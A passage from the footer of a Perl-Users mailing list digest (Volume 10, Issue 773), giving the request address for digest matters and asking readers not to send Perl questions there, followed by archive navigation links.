where x is the volume number and y is the issue number.

For other requests pertaining to the digest, send mail to
perl-users-request@ruby.oce.orst.edu. Do not waste your time or mine
sending perl questions to the -request address, I don't have time to
answer them even if I did know the answer.


------------------------------
End of Perl-Users Digest V10 Issue 773
**************************************


home help back first fref pref prev next nref lref last post